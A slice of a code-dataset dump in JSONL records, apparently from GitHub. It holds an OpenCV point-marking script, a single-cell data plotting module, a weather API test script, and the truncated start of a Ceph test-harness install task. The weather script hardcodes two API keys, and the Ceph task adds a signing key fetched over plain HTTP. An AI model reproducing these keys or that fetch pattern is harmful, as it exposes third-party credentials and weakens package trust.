"json.load", "line_number": 55, "usage_type": "call"}, {"api_name": "rest_framework.response.Response", "line_number": 59, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_400_BAD_REQUEST", "line_number": 59, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 59, "usage_type": "name"}, {"api_name": "json.dump", "line_number": 68, "usage_type": "call"}, {"api_name": "rest_framework.response.Response", "line_number": 69, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_201_CREATED", "line_number": 69, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 69, "usage_type": "name"}]}
{"seq_id": "5300001497", "text": "import cv2\nimport pickle\nimport numpy as np\n#img = np.zeros((512,512,3), np.uint8)\n#img = cv2.imread(\"C:\\\\Users\\\\promod\\\\Desktop\\\\researchPapers\\\\yolo-object-detection\\\\speed\\\\background.jpg\")\n#img = cv2.imread(\"C:\\\\Users\\\\promod\\\\Desktop\\\\researchPapers\\\\yolo-object-detection\\\\speed\\\\night\\\\night_still.jpg\")\nimg = cv2.imread(\"C:\\\\Users\\\\promod\\\\Desktop\\\\researchPapers\\\\yolo-object-detection\\\\speed\\\\day_still.jpg\")\ncoordinates = []\ndef draw_circle(event, x, y, flags, param):\n    # global mouseX,mouseY\n    global coordinates\n    if event == cv2.EVENT_LBUTTONDBLCLK:\n        cv2.circle(img, (x, y), 5, (255, 0, 0), -1)\n        #mouseX,mouseY = x,y\n        coordinates.append((x, y))\n\ndef save_object(obj, filename):\n    with open(filename, 'wb') as output:  # Overwrites any existing file.\n        pickle.dump(obj, output, pickle.HIGHEST_PROTOCOL)\n\ndef show_object():\n    with open('speed_markings.pkl', 'rb') as inp:\n        txt = pickle.load(inp)\n        print(txt)\n\ncv2.namedWindow('image')\ncv2.setMouseCallback('image', draw_circle)\nwhile(1):\n    cv2.imshow('image', img)\n    k = cv2.waitKey(20) & 0xFF\n    if k == 27:\n        break\n    elif k == ord('a'):\n        # print(mouseX, mouseY)\n        # print(coordinates)\n        if len(coordinates) == 2:\n            save_object(coordinates, 'speed_markings.pkl')\n            print(coordinates)\n        else:\n            save_object(coordinates, 'roi_markings.pkl')\n            print(coordinates)\n        # show_object()\n", "repo_name": "sampath1994/Research-Project", "sub_path": "speed/screen-mark/Mark-points.py", "file_name": "Mark-points.py", "file_ext": "py", "file_size_in_byte": 1476, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "81", "api": [{"api_name": "cv2.imread", "line_number": 7, "usage_type": "call"}, {"api_name": "cv2.EVENT_LBUTTONDBLCLK", "line_number": 12, "usage_type": "attribute"}, {"api_name": "cv2.circle", "line_number": 13, "usage_type": "call"}, {"api_name": "pickle.dump", "line_number": 19, "usage_type": "call"}, {"api_name": "pickle.HIGHEST_PROTOCOL", "line_number": 19, "usage_type": "attribute"}, {"api_name": "pickle.load", "line_number": 23, "usage_type": "call"}, {"api_name": "cv2.namedWindow", "line_number": 26, "usage_type": "call"}, {"api_name": "cv2.setMouseCallback", "line_number": 27, "usage_type": "call"}, {"api_name": "cv2.imshow", "line_number": 29, "usage_type": "call"}, {"api_name": "cv2.waitKey", "line_number": 30, "usage_type": "call"}]}
{"seq_id": "23878621079", "text": "# plot dendrograms and heatmaps\n# plot cluster-vs-gene dendrograms\n# plot cluster-vs-cluster heatmaps, use SpectralCoclustering to reorder to make them look semi-diagonal\n\nimport json\n\nimport numpy as np\nfrom sklearn.metrics.cluster import normalized_mutual_info_score\n\nfrom .utils import SimpleEncoder\nfrom .cache import cache\n\n@cache.memoize()\ndef cluster_heatmap(cluster1, cluster2, cluster_1_name, cluster_2_name, order='coclustering', normalize_row=True, **params):\n    \"\"\"\n    Returns a plotly-formated json that plots the two clusters together as a heatmap.\n\n    Args:\n        cluster1 (array): array of strings\n        cluster2 (array): array of strings\n        order (str): 'coclustering' or 'none'. Default: 'coclustering'\n        normalize_row (bool): whether or not to normalize by row (so that each row sums to 1). Default: True\n    \"\"\"\n    if not isinstance(cluster1[0], str):\n        cluster1 = np.array(['c' + str(x) for x in cluster1])\n    if not isinstance(cluster2[0], str):\n        cluster2 = np.array(['c' + str(x) for x in cluster2])\n    cluster1_values = [x for x in sorted(set(cluster1))]\n    c1_indices = {c1 : i for i, c1 in enumerate(cluster1_values)}\n    cluster2_values = [x for x in sorted(set(cluster2))]\n    c2_indices = {c1 : i for i, c1 in enumerate(cluster2_values)}\n    data = np.zeros((len(cluster1_values), len(cluster2_values)))\n    for i in range(len(cluster1)):\n        c1 = cluster1[i]\n        c2 = cluster2[i]\n        data[c1_indices[c1], c2_indices[c2]] += 1\n    if len(cluster1_values) <= 6 or len(cluster2_values) <= 6:\n        order = 'none'\n    if normalize_row:\n        data = data/data.sum(1, keepdims=True)\n    # create heatmap json\n    if order == 'coclustering':\n        from sklearn.cluster import SpectralCoclustering\n        spec = SpectralCoclustering(int(max(len(cluster1_values)/1.5, len(cluster2_values)/1.5, 2)))\n        spec.fit(data + 1e-8)\n        row_labels = spec.row_labels_\n        column_labels = spec.column_labels_\n        row_order = np.argsort(row_labels)[::-1]\n        col_order = np.argsort(column_labels)\n        row_labels = np.array(cluster1_values)[row_order]\n        column_labels = np.array(cluster2_values)[col_order]\n        data = data[row_order, :]\n        data = data[:, col_order]\n    else:\n        row_labels = np.array(cluster1_values)\n        column_labels = np.array(cluster2_values)\n    # show some statistic of the similarity between the clusters.\n    nmi = normalized_mutual_info_score(cluster1, cluster2)\n    output = {\n        'data': [{\n            'z': data.tolist(),\n            'x': column_labels.tolist(),\n            'y': row_labels.tolist(),\n            'colorscale': 'Reds',\n            'type': 'heatmap',\n        }],\n        'layout': {\n            'title': 'Cluster heatmap <br><sup>Normalized mutual information between clusters: ' + str(nmi) + '</sup>',\n            'xaxis': {'title': cluster_2_name, 'automargin': True,\n                'type': 'category', 'tickmode': 'linear', 'dtick': 1},\n            'yaxis': {'title': cluster_1_name, 'automargin': True,\n                'type': 'category', 'tickmode': 'linear', 'dtick': 1},\n            'font': {'size': 16},\n            'height': 550,\n            'width': 700,\n        }\n    }\n    return json.dumps(output, cls=SimpleEncoder)\n\n\ndef cluster_correlation_heatmap(data_sampled_all_genes, color_track, method='pearson'):\n    \"\"\"\n    Create a heatmap of correlation between cluster means\n    \"\"\"\n    all_clusters = list(sorted(list(set(color_track))))\n    cluster_means = []\n    for cluster in all_clusters:\n        data_subset = data_sampled_all_genes[:, color_track==cluster]\n        data_mean = data_subset.mean(1)\n        data_mean = np.array(data_mean).flatten()\n        cluster_means.append(data_mean)\n    cluster_means = np.vstack(cluster_means)\n    if method == 'pearson':\n        correlations = np.corrcoef(cluster_means)\n    elif method == 'spearman':\n        import scipy.stats\n        correlations, pval = scipy.stats.spearmanr(cluster_means, axis=1)\n    output = {\n        'data': [{\n            'z': correlations.tolist(),\n            'x': [str(x) for x in all_clusters],\n            'y': [str(x) for x in all_clusters],\n            #'colorscale': 'RdBu',\n            'colorscale': 'Reds',\n            #'zmin': -1.0,\n            #'zmax': 1.0,\n            'type': 'heatmap',\n        }],\n        'layout': {\n            'title': 'Cluster correlation heatmap',\n            'xaxis': {'title': 'clusters', 'automargin': True},\n            'yaxis': {'title': 'clusters', 'automargin': True},\n            'font': {'size': 16},\n            'height': max(550, 150+len(all_clusters)*20),\n            'width': max(700, 150+len(all_clusters)*20),\n        }\n    }\n    return json.dumps(output, cls=SimpleEncoder)\n\n\ndef gene_similarity(data_sampled_all_genes, all_gene_names, gene_names_left, gene_names_top, mode='full', method='pearson'):\n    \"\"\"\n    Creates a diagonal gene-gene similarity map using data from all sampled cells.\n\n    mode can be either 'full' or 'reduced'. If 'mode' is full, then this uses the full data matrix for comparison.\n    If mode is 'reduced', then this uses the M matrix from uncurl.\n\n    Returns a json dendrogram from plotly\n    \"\"\"\n    # TODO: this should be able to use either m_full or the full data matrix\n    import scipy.stats\n    gene_name_indices = {x: i for i, x in enumerate(all_gene_names)}\n    selected_gene_names_left = [x for x in gene_names_left if x in gene_name_indices]\n    gene_indices_left = np.array([gene_name_indices[x] for x in selected_gene_names_left])\n    selected_gene_names_top = [x for x in gene_names_top if x in gene_name_indices]\n    gene_indices_top = np.array([gene_name_indices[x] for x in selected_gene_names_top])\n    print('gene heatmap selected gene names:', selected_gene_names_left)\n    print('gene heatmap selected gene ids:', gene_indices_left)\n    data_subset_1 = data_sampled_all_genes[gene_indices_left, :]\n    data_subset_2 = data_sampled_all_genes[gene_indices_top, :]\n    from scipy import sparse\n    if sparse.issparse(data_subset_1):\n        data_subset_1 = data_subset_1.toarray()\n        data_subset_2 = data_subset_2.toarray()\n    # have different methods for calculating the correlation matrix\n    correlations = np.zeros((len(gene_indices_left), len(gene_indices_top)))\n    if method == 'pearson':\n        for i in range(len(gene_indices_left)):\n            for j in range(len(gene_indices_top)):\n                correlations[i, j] = scipy.stats.pearsonr(data_subset_1[i], data_subset_2[j])[0]\n    elif method == 'spearman':\n        for i in range(len(gene_indices_left)):\n            for j in range(len(gene_indices_top)):\n                correlations[i, j] = scipy.stats.spearmanr(data_subset_1[i], data_subset_2[j])[0]\n    elif method == 'cosine':\n        import sklearn.metrics.pairwise\n        correlations = sklearn.metrics.pairwise.cosine_similarity(data_subset_1, data_subset_2)\n    correlations[np.isnan(correlations)] = 0.0\n    output = {\n        'data': [{\n            'z': correlations.tolist(),\n            'x': selected_gene_names_top,\n            'y': selected_gene_names_left,\n            'colorscale': 'RdBu',\n            'zmin': -1.0,\n            'zmax': 1.0,\n            'type': 'heatmap',\n        }],\n        'layout': {\n            'title': 'Gene correlation heatmap',\n            'xaxis': {'title': 'gene set 2', 'automargin': True,\n                'tickmode': 'linear', 'dtick': 1},\n            'yaxis': {'title': 'gene set 1', 'automargin': True,\n                'tickmode': 'linear', 'dtick': 1},\n            'font': {'size': 14},\n            'height': max(550, 150+len(gene_indices_left)*20),\n            'width': max(700, 150+len(gene_indices_top)*20),\n        }\n    }\n    return json.dumps(output, cls=SimpleEncoder)\n\ndef differential_correlation(data_sampled_all_genes, all_gene_names, gene_names_left, gene_names_top,\n        group1_cells,\n        group2_cells,\n        mode='full',\n        value='diff', method='pearson'):\n    \"\"\"\n    Creates a heatmap of differential correlation for two groups of cells and two sets of genes.\n\n    mode can be either 'full' or 'reduced'. If 'mode' is full, then this uses the full data matrix for comparison.\n    If mode is 'reduced', then this uses the M matrix from uncurl.\n\n    value can be either 'diff' or 'p'. If 'diff', then it shows the difference between the correlations. Otherwise,\n    it calculates p-values for the correlations, and colors based on -log10(pval).\n\n    Returns a json dendrogram from plotly\n    \"\"\"\n    # TODO: this should be able to use either m_full or the full data matrix\n    import scipy.stats\n    gene_name_indices = {x: i for i, x in enumerate(all_gene_names)}\n    selected_gene_names_left = [x for x in gene_names_left if x in gene_name_indices]\n    gene_indices_left = np.array([gene_name_indices[x] for x in selected_gene_names_left])\n    selected_gene_names_top = [x for x in gene_names_top if x in gene_name_indices]\n    gene_indices_top = np.array([gene_name_indices[x] for x in selected_gene_names_top])\n    print('gene heatmap selected gene names:', selected_gene_names_left)\n    print('gene heatmap selected gene ids:', gene_indices_left)\n    # calculate correlations for group1\n    data_subset_1 = data_sampled_all_genes[gene_indices_left, :]\n    data_subset_1 = data_subset_1[:, group1_cells]\n    data_subset_2 = data_sampled_all_genes[gene_indices_top, :]\n    data_subset_2 = data_subset_2[:, group1_cells]\n    n1 = data_subset_1.shape[1]\n    from scipy import sparse\n    if sparse.issparse(data_subset_1):\n        data_subset_1 = data_subset_1.toarray()\n        data_subset_2 = data_subset_2.toarray()\n    # TODO: have different methods for calculating the correlation matrix\n    correlations_1 = np.zeros((len(gene_indices_left), len(gene_indices_top)))\n    if method == 'pearson':\n        for i in range(len(gene_indices_left)):\n            for j in range(len(gene_indices_top)):\n                if gene_indices_left[i] == gene_indices_top[j]:\n                    continue\n                correlations_1[i, j] = scipy.stats.pearsonr(data_subset_1[i], data_subset_2[j])[0]\n    correlations_1[np.isnan(correlations_1)] = 0.0\n    # calculate correlations for group2\n    data_subset_1 = data_sampled_all_genes[gene_indices_left, :]\n    data_subset_1 = data_subset_1[:, group2_cells]\n    data_subset_2 = data_sampled_all_genes[gene_indices_top, :]\n    data_subset_2 = data_subset_2[:, group2_cells]\n    n2 = data_subset_1.shape[1]\n    from scipy import sparse\n    if sparse.issparse(data_subset_1):\n        data_subset_1 = data_subset_1.toarray()\n        data_subset_2 = data_subset_2.toarray()\n    # TODO: have different methods for calculating the correlation matrix\n    correlations_2 = np.zeros((len(gene_indices_left), len(gene_indices_top)))\n    if method == 'pearson':\n        for i in range(len(gene_indices_left)):\n            for j in range(len(gene_indices_top)):\n                if gene_indices_left[i] == gene_indices_top[j]:\n                    continue\n                correlations_2[i, j] = scipy.stats.pearsonr(data_subset_1[i], data_subset_2[j])[0]\n    correlations_2[np.isnan(correlations_2)] = 0.0\n    # TODO: calculate differential correlation\n    if value == 'diff':\n        correlations_diff = correlations_1 - correlations_2\n        z = correlations_diff.tolist()\n        title = 'Difference of correlations'\n        zmin = -1.0\n        zmax = 1.0\n        colorscale = 'RdBu'\n    else:\n        correlations_1[correlations_1==1.0] = 0.0\n        correlations_2[correlations_2==1.0] = 0.0\n        z1 = correlations_to_z(correlations_1)\n        z2 = correlations_to_z(correlations_2)\n        pv = z_score_diff(z1, z2, n1, n2)\n        z = -np.log10(pv + 1e-16)\n        title = '-log10(p-value) of difference of correlations'\n        zmin = 0.0\n        zmax = 16.0\n        colorscale = 'Reds'\n    output = {\n        'data': [{\n            'z': z,\n            'x': selected_gene_names_top,\n            'y': selected_gene_names_left,\n            'colorscale': colorscale,\n            'zmin': zmin,\n            'zmax': zmax,\n            'type': 'heatmap',\n        }],\n        'layout': {\n            'xaxis': {'title': 'gene set 2', 'automargin': True},\n            'yaxis': {'title': 'gene set 1', 'automargin': True},\n            'title': title,\n            'font': {'size': 14},\n            'height': max(550, 150+len(gene_indices_left)*20),\n            'width': max(700, 150+len(gene_indices_top)*20),\n        }\n    }\n    return json.dumps(output, cls=SimpleEncoder)\n\ndef correlations_to_z(correlations):\n    \"\"\"\n    Given an array of correlation values, this converts these values into\n    z-scores using Fisher's transformation.\n    \"\"\"\n    c = np.arctanh(correlations)\n    c[np.isnan(c)] = 0.0\n    c[np.isinf(c)] = 0.0\n    return c\n\ndef z_score_diff(z1, z2, n1, n2):\n    \"\"\"\n    Calculates a two-sided z test\n    \"\"\"\n    import scipy.stats\n    z_diff = (z1 - z2)\n    var1 = 1./(n1 - 3)\n    var2 = 1./(n2 - 3)\n    z_score = z_diff/np.sqrt(var1 + var2)\n    p = scipy.stats.norm.cdf(z_score)\n    p = -2*np.abs(p-0.5) + 1\n    return p\n\n\n\ndef dendrogram(data_sampled_all_genes, all_gene_names, selected_gene_names, cluster_name, cluster_data, use_log=False,\n        use_normalize=False):\n    \"\"\"\n    Returns a json dendrogram from plotly...\n\n    Args:\n        data_subset (array): csc matrix, created from data_sampled_all_genes\n    \"\"\"\n    import plotly.graph_objects as go\n    import plotly.figure_factory as ff\n    # TODO\n    if not isinstance(cluster_data[0], str):\n        cluster_data = np.array(['c' + str(x) for x in cluster_data])\n    cluster_values = [x for x in sorted(set(cluster_data))]\n    cluster_indices = {c1 : i for i, c1 in enumerate(cluster_values)}\n    gene_name_indices = {x: i for i, x in enumerate(all_gene_names)}\n    selected_gene_names = [x for x in selected_gene_names if x in gene_name_indices]\n    gene_indices = np.array([gene_name_indices[x] for x in selected_gene_names])\n    print('dendrogram selected gene names:', selected_gene_names)\n    print('dendrogram selected gene ids:', gene_indices)\n    selected_gene_indices = {x: i for i, x in enumerate(selected_gene_names)}\n    # take mean across all clusters\n    data_cluster_means = np.zeros((len(all_gene_names), len(cluster_values)))\n    for i, c in enumerate(cluster_values):\n        data_cluster_means[:,i] = np.array(data_sampled_all_genes[:, cluster_data==c].mean(1)).flatten()\n    data_cluster_means = data_cluster_means[gene_indices, :]\n    if use_log:\n        data_cluster_means = np.log(1+data_cluster_means)\n    if use_normalize:\n        # divide data by max value for each gene\n        data_cluster_means = data_cluster_means/data_cluster_means.max(1, keepdims=True)\n    # code based on https://plot.ly/python/dendrogram/\n    # create top dendrogram - plot of cells\n    fig = ff.create_dendrogram(data_cluster_means.T, orientation='bottom', labels=cluster_values)\n    for i in range(len(fig['data'])):\n        fig['data'][i]['yaxis'] = 'y2'\n    # Create Side Dendrogram - plot of genes\n    dendro_side = ff.create_dendrogram(data_cluster_means, orientation='right', labels=selected_gene_names)\n    for i in range(len(dendro_side['data'])):\n        dendro_side['data'][i]['xaxis'] = 'x2'\n\n    # Add Side Dendrogram Data to Figure\n    for data in dendro_side['data']:\n        fig.add_trace(data)\n\n    # Create Heatmap\n    # TODO: reorder selected_gene_names?\n    gene_labels_y = dendro_side['layout']['yaxis']['ticktext']\n    dendro_leaves_y = [selected_gene_indices[i] for i in gene_labels_y]\n    dendro_leaves_x = fig['layout']['xaxis']['ticktext']\n    dendro_leaves_x = [cluster_indices[i] for i in dendro_leaves_x]\n    heat_data = data_cluster_means[dendro_leaves_y,:]\n    heat_data = heat_data[:,dendro_leaves_x]\n\n    heatmap = [\n        go.Heatmap(\n            x = dendro_leaves_x,\n            y = selected_gene_names,\n            z = heat_data,\n            colorscale = 'Reds',\n            showscale = False,\n        )\n    ]\n    heatmap[0]['x'] = fig['layout']['xaxis']['tickvals']\n    heatmap[0]['y'] = dendro_side['layout']['yaxis']['tickvals']\n\n    # Add Heatmap Data to Figure\n    for data in heatmap:\n        fig.add_trace(data)\n    # Edit Layout\n    fig.update_layout({'width':700, 'height':100+len(selected_gene_names)*25,\n                         'showlegend':False, 'hovermode': 'closest',\n                         })\n    fig.update_layout(xaxis={'domain': [.15, 1],\n                                  'mirror': False,\n                                  'showgrid': False,\n                                  'showline': False,\n                                  'zeroline': False,\n                                  'ticks':\"\"})\n    fig.update_layout(xaxis2={'domain': [0, .15],\n                                   'mirror': False,\n                                   'showgrid': False,\n                                   'showline': False,\n                                   'zeroline': False,\n                                   'showticklabels': False,\n                                   'ticks':\"\"})\n    fig.update_layout(yaxis={'domain': [0, .85],\n                                  'mirror': False,\n                                  'showgrid': False,\n                                  'showline': False,\n                                  'zeroline': False,\n                                  'showticklabels': True,\n                                  'side': 'right',\n                                  'tickmode': 'array',\n                                  'tickvals': dendro_side['layout']['yaxis']['tickvals'],\n                                  'ticktext': gene_labels_y,\n                                  'ticks': \"\"\n                        })\n    fig.update_layout(yaxis2={'domain':[.825, .975],\n                                   'mirror': False,\n                                   'showgrid': False,\n                                   'showline': False,\n                                   'zeroline': False,\n                                   'showticklabels': False,\n                                   'ticks':\"\"})\n    fig.update_layout({'font': {'size': 16}})\n    return fig.to_json()\n\n", "repo_name": "yjzhang/uncurl_app", "sub_path": "uncurl_app/advanced_plotting.py", "file_name": "advanced_plotting.py", "file_ext": "py", "file_size_in_byte": 18176, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 8, "dataset": "github-code", "pt": "81", "api": [{"api_name": "numpy.array", "line_number": 25, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 27, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 32, "usage_type": "call"}, {"api_name": "sklearn.cluster.SpectralCoclustering", "line_number": 44, "usage_type": "call"}, {"api_name": "numpy.argsort", "line_number": 48, "usage_type": "call"}, {"api_name": "numpy.argsort", "line_number": 49, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 50, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 51, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 55, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 56, "usage_type": "call"}, {"api_name": "sklearn.metrics.cluster.normalized_mutual_info_score", "line_number": 58, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 78, "usage_type": "call"}, {"api_name": "utils.SimpleEncoder", "line_number": 78, "usage_type": "name"}, {"api_name": "cache.cache.memoize", "line_number": 13, "usage_type": "call"}, {"api_name": "cache.cache", "line_number": 13, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 90, "usage_type": "call"}, {"api_name": "numpy.vstack", "line_number": 92, "usage_type": "call"}, {"api_name": "numpy.corrcoef", "line_number": 94, "usage_type": "call"}, {"api_name": "scipy.stats.stats.spearmanr", "line_number": 97, "usage_type": "call"}, {"api_name": "scipy.stats.stats", "line_number": 97, "usage_type": "attribute"}, {"api_name": "scipy.stats", "line_number": 97, "usage_type": "name"}, {"api_name": "json.dumps", "line_number": 118, "usage_type": "call"}, {"api_name": "utils.SimpleEncoder", "line_number": 118, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 134, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 136, "usage_type": "call"}, {"api_name": "scipy.sparse.issparse", "line_number": 142, "usage_type": "call"}, {"api_name": "scipy.sparse", "line_number": 142, "usage_type": "name"}, {"api_name": "numpy.zeros", "line_number": 146, "usage_type": "call"}, {"api_name": "scipy.stats.stats.pearsonr", "line_number": 150, "usage_type": "call"}, {"api_name": "scipy.stats.stats", "line_number": 150, "usage_type": "attribute"}, {"api_name": "scipy.stats", "line_number": 150, "usage_type": "name"}, {"api_name": "scipy.stats.stats.spearmanr", "line_number": 154, "usage_type": "call"}, {"api_name": "scipy.stats.stats", "line_number": 154, "usage_type": "attribute"}, {"api_name": "scipy.stats", "line_number": 154, "usage_type": "name"}, {"api_name": "sklearn.metrics.cluster.metrics.pairwise.cosine_similarity", "line_number": 157, "usage_type": "call"}, {"api_name": "sklearn.metrics.cluster.metrics", "line_number": 157, "usage_type": "attribute"}, {"api_name": "sklearn.metrics.cluster", "line_number": 157, "usage_type": "name"}, {"api_name": "numpy.isnan", "line_number": 158, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 180, "usage_type": "call"}, {"api_name": "utils.SimpleEncoder", "line_number": 180, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 202, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 204, "usage_type": "call"}, {"api_name": "scipy.sparse.issparse", "line_number": 214, "usage_type": "call"}, {"api_name": "scipy.sparse", "line_number": 214, "usage_type": "name"}, {"api_name": "numpy.zeros", "line_number": 218, "usage_type": "call"}, {"api_name": "scipy.stats.stats.pearsonr", "line_number": 224, "usage_type": "call"}, {"api_name": "scipy.stats.stats", "line_number": 224, "usage_type": "attribute"}, {"api_name": "scipy.stats", "line_number": 224, "usage_type": "name"}, {"api_name": "numpy.isnan", "line_number": 225, "usage_type": "call"}, {"api_name": "scipy.sparse.issparse", "line_number": 233, "usage_type": "call"}, {"api_name": "scipy.sparse", "line_number": 233, "usage_type": "name"}, {"api_name": "numpy.zeros", "line_number": 237, "usage_type": "call"}, {"api_name": "scipy.stats.stats.pearsonr", "line_number": 243, "usage_type": "call"}, {"api_name": "scipy.stats.stats", "line_number": 243, "usage_type": "attribute"}, {"api_name": "scipy.stats", "line_number": 243, "usage_type": "name"}, {"api_name": "numpy.isnan", "line_number": 244, "usage_type": "call"}, {"api_name": "numpy.log10", "line_number": 259, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 283, "usage_type": "call"}, {"api_name": "utils.SimpleEncoder", "line_number": 283, "usage_type": "name"}, {"api_name": "numpy.arctanh", "line_number": 290, "usage_type": "call"}, {"api_name": "numpy.isnan", "line_number": 291, "usage_type": "call"}, {"api_name": "numpy.isinf", "line_number": 292, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 303, "usage_type": "call"}, {"api_name": "scipy.stats.stats.norm.cdf", "line_number": 304, "usage_type": "call"}, {"api_name": "scipy.stats.stats", "line_number": 304, "usage_type": "attribute"}, {"api_name": "scipy.stats", "line_number": 304, "usage_type": "name"}, {"api_name": "numpy.abs", "line_number": 305, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 322, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 327, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 332, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 334, "usage_type": "call"}, {"api_name": "numpy.log", "line_number": 337, "usage_type": "call"}, {"api_name": "plotly.figure_factory.create_dendrogram", "line_number": 343, "usage_type": "call"}, {"api_name": "plotly.figure_factory", "line_number": 343, "usage_type": "name"}, {"api_name": "plotly.figure_factory.create_dendrogram", "line_number": 347, "usage_type": "call"}, {"api_name": "plotly.figure_factory", "line_number": 347, "usage_type": "name"}, {"api_name": "plotly.graph_objects.Heatmap", "line_number": 365, "usage_type": "call"}, {"api_name": "plotly.graph_objects", "line_number": 365, "usage_type": "name"}]}
{"seq_id": "177808406", "text": "'''from apixu.client import ApixuClient\napi_key = 'e1aa06f2f78c861965b05b96ea20b366' #your apixu key\nclient = ApixuClient('070f3c2952168202c7a321026dac81ce')\ncurrent = client.current(q=\"india\")\nprint(current)'''\nimport requests, json \napi_key = \"070f3c2952168202c7a321026dac81ce\"\nbase_url = \"http://api.openweathermap.org/data/2.5/weather?\"\ncity_name = \"coimbatore\"\ncomplete_url = base_url + \"appid=\" + api_key + \"&q=\" + city_name \nresponse = requests.get(complete_url) \nx = response.json()\nprint(x)\nprint(x[\"name\"])\n", "repo_name": "janaeshkrish/WeatherBot", "sub_path": "testing_module.py", "file_name": "testing_module.py", "file_ext": "py", "file_size_in_byte": 517, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "requests.get", "line_number": 11, "usage_type": "call"}]}
{"seq_id": "32578269290", "text": "from cStringIO import StringIO\n\nimport contextlib\nimport copy\nimport logging\nimport time\nimport os\nimport subprocess\nimport yaml\n\nfrom teuthology.config import config as teuth_config\nfrom teuthology import misc as teuthology\nfrom teuthology import contextutil, packaging\nfrom teuthology.parallel import parallel\nfrom ..orchestra import run\nfrom . import ansible\n\nlog = logging.getLogger(__name__)\n\n# Should the RELEASE value get extracted from somewhere?\nRELEASE = \"1-0\"\n\n\ndef _get_builder_project(ctx, remote, config):\n    return packaging.get_builder_project()(\n        config.get('project', 'ceph'),\n        config,\n        remote=remote,\n        ctx=ctx\n    )\n\n\ndef _get_local_dir(config, remote):\n    \"\"\"\n    Extract local directory name from the task lists.\n    Copy files over to the remote site.\n    \"\"\"\n    ldir = config.get('local', None)\n    if ldir:\n        remote.run(args=['sudo', 'mkdir', '-p', ldir,])\n        for fyle in os.listdir(ldir):\n            fname = \"%s/%s\" % (ldir, fyle)\n            teuthology.sudo_write_file(remote, fname, open(fname).read(), '644')\n    return ldir\n\n\ndef _update_deb_package_list_and_install(ctx, remote, debs, config):\n    \"\"\"\n    Runs ``apt-get update`` first, then runs ``apt-get install``, installing\n    the requested packages on the remote system.\n\n    TODO: split this into at least two functions.\n\n    :param ctx: the argparse.Namespace object\n    :param remote: the teuthology.orchestra.remote.Remote object\n    :param debs: list of packages names to install\n    :param config: the config dict\n    \"\"\"\n\n    # check for ceph release key\n    r = remote.run(\n        args=[\n            'sudo', 'apt-key', 'list', run.Raw('|'), 'grep', 'Ceph',\n        ],\n        stdout=StringIO(),\n        check_status=False,\n    )\n    if r.stdout.getvalue().find('Ceph automated package') == -1:\n        # if it doesn't exist, add it\n        remote.run(\n            args=[\n                'wget', '-q', '-O-',\n                'http://git.ceph.com/?p=ceph.git;a=blob_plain;f=keys/autobuild.asc',\n                run.Raw('|'),\n                'sudo', 'apt-key', 'add', '-',\n            ],\n            stdout=StringIO(),\n        )\n\n    builder = _get_builder_project(ctx, remote, config)\n    log.info(\"Installing packages: {pkglist} on remote deb {arch}\".format(\n        pkglist=\", \".join(debs), arch=builder.arch)\n    )\n    # get baseurl\n    log.info('Pulling from %s', builder.base_url)\n\n    version = builder.version\n    log.info('Package version is %s', version)\n\n    remote.run(\n        args=[\n            'echo', 'deb', builder.base_url, builder.codename, 'main',\n            run.Raw('|'),\n            'sudo', 'tee', '/etc/apt/sources.list.d/{proj}.list'.format(\n                proj=config.get('project', 'ceph')),\n        ],\n        stdout=StringIO(),\n    )\n    remote.run(args=['sudo', 'apt-get', 'update'], check_status=False)\n    remote.run(\n        args=[\n            'sudo', 'DEBIAN_FRONTEND=noninteractive', 'apt-get', '-y',\n            '--force-yes',\n            '-o', run.Raw('Dpkg::Options::=\"--force-confdef\"'), '-o', run.Raw(\n                'Dpkg::Options::=\"--force-confold\"'),\n            'install',\n        ] + ['%s=%s' % (d, version) for d in debs],\n    )\n    ldir = _get_local_dir(config, remote)\n    if ldir:\n        for fyle in os.listdir(ldir):\n            fname = \"%s/%s\" % (ldir, fyle)\n            remote.run(args=['sudo', 'dpkg', '-i', fname],)\n\n\ndef _yum_fix_repo_priority(remote, project, uri):\n    \"\"\"\n    On the remote, 'priority=1' lines to each enabled repo in:\n\n        /etc/yum.repos.d/{project}.repo\n\n    :param remote: the teuthology.orchestra.remote.Remote object\n    :param project: the project whose repos need modification\n    \"\"\"\n    repo_path = '/etc/yum.repos.d/%s.repo' % project\n    remote.run(\n        args=[\n            'if', 'test', '-f', repo_path, run.Raw(';'), 'then',\n            'sudo', 'sed', '-i', '-e',\n            run.Raw('\\':a;N;$!ba;s/enabled=1\\\\ngpg/enabled=1\\\\npriority=1\\\\ngpg/g\\''),\n            '-e',\n            run.Raw(\"'s;ref/[a-zA-Z0-9_-]*/;{uri}/;g'\".format(uri=uri)),\n            repo_path, run.Raw(';'), 'fi'\n        ]\n    )\n\n\ndef _yum_fix_repo_host(remote, project):\n    \"\"\"\n    Update the hostname to reflect the gitbuilder_host setting.\n    \"\"\"\n    # Skip this bit if we're not using gitbuilder\n    if not isinstance(packaging.get_builder_project(),\n                      packaging.GitbuilderProject):\n        return\n    old_host = teuth_config._defaults['gitbuilder_host']\n    new_host = teuth_config.gitbuilder_host\n    if new_host == old_host:\n        return\n    repo_path = 